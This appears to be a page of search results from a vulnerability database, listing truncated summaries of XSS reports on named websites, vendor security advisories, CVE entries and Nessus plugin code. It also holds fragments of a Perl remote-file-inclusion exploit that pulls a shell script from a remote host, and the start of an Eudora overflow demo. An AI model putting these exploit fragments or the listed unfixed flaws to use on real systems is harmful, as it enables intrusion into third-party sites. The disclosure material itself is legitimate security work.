2304 matches found
Unfixed XSS vulnerability at www.minria.com
Security researcher BackDoor, has submitted on 12/09/2007 a cross-site-scripting XSS vulnerability affecting www.minria.com, which at the time of submission ranked 1197510 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 14/09/2007. It is...
Unfixed XSS vulnerability at www.cior.pt
Security researcher Narcoticxs, has submitted on 11/09/2007 a cross-site-scripting XSS vulnerability affecting www.cior.pt, which at the time of submission ranked 7363861 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/09/2007. It is current...
Unfixed XSS vulnerability at www.mccahonhouse.org.nz
Security researcher CoNqUeRoR, has submitted on 03/07/2007 a cross-site-scripting XSS vulnerability affecting www.mccahonhouse.org.nz, which at the time of submission ranked 10972070 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/07/2007. I...
KLA10122 SB vulnerability in Comodo Firewall Pro
An unspecified vulnerability was found in Comodo Firewall Pro. By exploiting this vulnerability malicious users can bypass the driver protection for registry keys. This vulnerability can be exploited locally at a point related to OLE NamedPipe. Original advisories - Related products...
Socketwiz BookMarks 2.0 - 'root_dir' Remote File Inclusion
!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks perl exploit.pl http://site.com/Socketwiz BookmarksPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda =...
CVE-2005-0255
String handling functions in Mozilla 1.7.3, Firefox 1.0, and Thunderbird before 1.0.2, such as the nsTSubstringCharT::Replace function, do not properly check the return values of other functions that resize the string, which allows remote attackers to cause a denial of service and possibly execut...
HP-UX Security patch : PHCO_10061
The remote host is missing HP-UX Security Patch number PHCO10061 . Security Vulnerability in vgdisplay command %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; ifdescription scriptid16885;...
HP-UX Security patch : PHNE_17098
The remote host is missing HP-UX Security Patch number PHNE17098 . Security Vulnerability with rpc.pcnfsd %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; ifdescription scriptid16938; scriptversion"1.7";...
PerlDesk kb.cgi view Parameter SQL Injection
The remote host is running PerlDesk, a web-based helpdesk application written in Perl. The remote version of this software has several SQL injection vulnerabilities, that could allow an attacker to execute arbitrary SQL statements on the remote database. %NASLMINLEVEL 70300 C Tenable Network...
[SA14124] Mambo Global Variables Security Bypass Vulnerability
TITLE: Mambo Global Variables Security Bypass Vulnerability SECUNIA ADVISORY ID: SA14124 VERIFY ADVISORY: http://secunia.com/advisories/14124/ CRITICAL: Moderately critical IMPACT: Security Bypass WHERE: From remote SOFTWARE: Mambo 4.x http://secunia.com/product/872/ DESCRIPTION: A vulnerability...
[SA13843] Squid Username Whitespace Security Bypass Issue
TITLE: Squid Username Whitespace Security Bypass Issue SECUNIA ADVISORY ID: SA13843 VERIFY ADVISORY: http://secunia.com/advisories/13843/ CRITICAL: Less critical IMPACT: Security Bypass WHERE: From local network SOFTWARE: Squid 2.x http://secunia.com/product/310/ DESCRIPTION: A security issue has...
CVE-2001-1413
...
CVE-2002-1581
...
Microsoft Outlook Express 4.x5.x6.0 - Plaintext Email Security Policy Bypass
Microsoft Outlook Express 4.x5.x6.0 - Plaintext Email Security Policy Bypass source: https://www.securityfocus.com/bid/11447/info Microsoft Outlook Express is reported prone to a security policy bypass vulnerability. The vulnerability presents itself if an attached image file is referenced using ...
[SECURITY] [DSA 551-1] New lukemftpd packages fix arbitrary code execution
-------------------------------------------------------------------------- Debian Security Advisory DSA 551-1 [email protected] http://www.debian.org/security/ Martin Schulze September 21st, 2004 http://www.debian.org/security/faq -...
Qualcomm Qpopper Username Remote Overflow
Binary data 1794.prm...
RHEL 2.1 : mailman (RHSA-2002:181)
Updated mailman packages are now available for Red Hat Linux Advanced Server. These updates close a cross-site scripting vulnerability present in mailman versions prior to version 2.0.12. Mailman versions prior to 2.0.12 contain a cross-site scripting vulnerability in the processing of invalid...
[Full-Disclosure] Eudora file URL buffer overflow
There is a buffer overflow in Eudora for Windows, verified on versions 6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code. I do not know if this issue affects Eudora for Macs. Demo: !/usr/bin/perl -- print "From: men"; print "To: youn"; print "Subject: Eudora file URL buffer...